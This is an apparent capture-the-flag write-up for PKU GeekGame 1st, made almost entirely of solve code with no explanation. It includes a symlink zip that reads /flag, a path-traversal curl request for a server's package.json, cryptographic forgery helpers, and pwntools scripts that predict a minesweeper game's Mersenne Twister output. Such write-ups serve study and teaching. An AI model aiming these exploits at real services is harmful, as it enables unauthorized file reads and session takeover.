PKU GeekGame 1st writeup

ln -s /flag ./galf
zip --symlinks test.zip galf

s3 = 0x293edea661635aabcd6deba615ab813a7610c1cfb9efb31ccc5224c0e4b37372
s2 = 0x15eea4b2551f0c96d02a5d62f84cac8112690d68c47b16814e221b8a37d6c4d3
outs = ""
for i in range(64):
	v3 = s3 & 0xf
	v2 = s2 & 0xf
	s3 >>= 4
	s2 >>= 4
	vout = (v3 - v2 * 7 - i * 5) & 0xf
	outs += hex(vout)[-1]

outs = "".join(reversed(outs))
print(bytes.fromhex(outs))

$ curl --path-as-is "https://prob11-6fq292hk.geekgame.pku.edu.cn/api/../package.json"
{"name":"demo-server","version":"1.0.0","description":"","scripts":{"start":"node --max-http-header-size=32768 start.js"},"author":"You","license":"WTFPL","dependencies":{"jsonaas-backend":"https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz"}}

FLAG0==`flag{${0.1+0.2}}`

"" + ["123"] === "123"

xor = lambda x, y: list(xx ^ yy for xx, yy in zip(x, y))
tov4 = lambda m: [int.from_bytes(m[8*i:8*(i+1)], "big") for i in range(4)]

def kpa(m, c):
    m = tov4(m)
    c = tov4(c)
    K = [c[0] ^ m[2], c[1] ^ m[3], c[2] ^ m[0] ^ m[2], c[3] ^ m[1] ^ m[3]]
    return K

def decrypt(c, K):
    vc = tov4(c)
    c, d, u, v = xor(vc, K)
    return u^c, v^d, c, d

def prin(v4):
    print(b"".join(long_to_bytes(v) for v in v4))

def forge(bign, maxl):
    """
    head | x | xlen === alice (mod N)
    """
    assert maxl < 2048
    head = bytes_to_long(packmess(b"A"))
    for alen in range(1, 130):
        alice = packmess(b"Alice") + packmess(b"\x00" * alen)
        alice = bytes_to_long(alice)
        if alice >= bign:
            break
        for xlen in range(1, maxl):
            right = (alice - (head << (xlen+2)*8) - xlen) % bign
            # invert = lambda a, m: pow(a, -1, m)
            x = ((invert(65536, bign) * right) % bign) & ((1<<xlen)-1)
            xx = (head << ((xlen+2)*8)) + (x<<16) + xlen
            if (xx - alice) % bign == 0:
                return xlen, x

#!/usr/bin/env python3

from pwn import *
# https://github.com/tliston/mt19937
from mt19937 import mt19937, untemper

context.log_level = "debug"

#io = process(["python", "-u", "sweeper.py"])
io = remote("prob09.geekgame.pku.edu.cn", 10009)

sla = lambda t, s: io.sendlineafter(t.encode(), s.encode())
rcv = lambda: io.recvline().decode().strip()

states = []

tok = "<token>"
sla("token:", tok)

sla("(y/n)", "n")
while True:
    for i in range(16):
        sla("> ", f"0 {i}")
        if rcv() == "BOOM!":
            break
    bits = 0
    for y in range(16):
        row = rcv()
        for x, c in enumerate(row):
            if c == '*':
                bits |= 1 << (16*y+x)
    for _ in range(8):
        states += [ untemper(bits & 0xFFFFffff) ]
        bits >>= 32

    sla("(y/n)", "y")
    if len(states) == 624:
        break

mt = mt19937(0)
mt.MT = states
mt.index = 624
bits = 0
for i in range(8):
    bits |= mt.extract_number() << (32 * i)
free = []
for i in range(16):
    for j in range(16):
        x = (bits >> (i*16+j)) & 1
        if x == 0: free += [(i, j)]
for i, j in free:
    sla("> ", f"{i} {j}")
io.interactive()

#!/usr/bin/env python3

from pwn import *
from mt19937 import untemper

context.log_level = "debug"

#io = process(["python", "-u", "sweeper.py"])
io = remote("prob09.geekgame.pku.edu.cn", 10009)

sla = lambda t, s: io.sendlineafter(t.encode(), s.encode())
rcv = lambda: io.recvline().decode().strip()

states = []

tok = "<token>"
sla("token:", tok)

def xA(xi, xii):
    x = (xi & 0x8000_0000) + (xii & 0x7fff_FFFF)
    xa = x >> 1
    if x & 1:
        xa ^= 0x9908B0DF
    return xa

def temper(y):
    y = y ^ ((y >> 11) & 0xFFFFffff)
    y = y ^ ((y << 7) & 0x9D2C5680)
    y = y ^ ((y << 15) & 0xEFC60000)
    y = y ^ (y >> 18)
    return y

def dword():
    dw = 0
    for y in range(2):
        row = rcv()
        for x, c in enumerate(row):
            if c == '*':
                dw |= 1 << (16*y+x)
    dword.last = dw
    return dw

# The ancient spirits of light and dark have been released
sla("(y/n)", "y")
count = 0
while True:
    count += 1
    found = False

    if len(states) > 624:
        last = untemper(dword.last)
        work = states[-2*624:]

        for i, x in enumerate(work[:-8]):
            cand = xA(x, work[i+1]) ^ last
            if cand in work:
                j = work.index(cand)
                if j < len(work) - 8:
                    found = True
                    break
    if found:
        bits = 0
        for ii in range(8):
            # note this off by one
            bits |= temper(work[j+ii+1] ^ xA(work[i+ii+1], work[i+ii+2])) << (32 * ii)
        free = []
        for i in range(16):
            for j in range(16):
                x = (bits >> (i*16+j)) & 1
                if x == 0: free += [(i, j)]
        
        die = False
        for i, j in free:
            sla("> ", f"{i} {j}")
            if rcv() == "BOOM!":
                die = True
                break
        if not die:
            io.interactive()
    else:
        for i in range(16):
            sla("> ", f"0 {i}")
            if rcv() == "BOOM!":
                break
    for _ in range(8):
        states += [ untemper(dword()) ]

    if count >= 2000:
        print("fail")
        exit(0)
    sla("(y/n)", "y")

[uwsgi]
socket = :3031
chdir = /usr/src/ufctf
manage-script-name = true
mount = /=app:app
master = true
uid = nobody
gid = nogroup
workers = 2
buffer-size = 65535
enable-threads = true
pidfile = /tmp/uwsgi.pid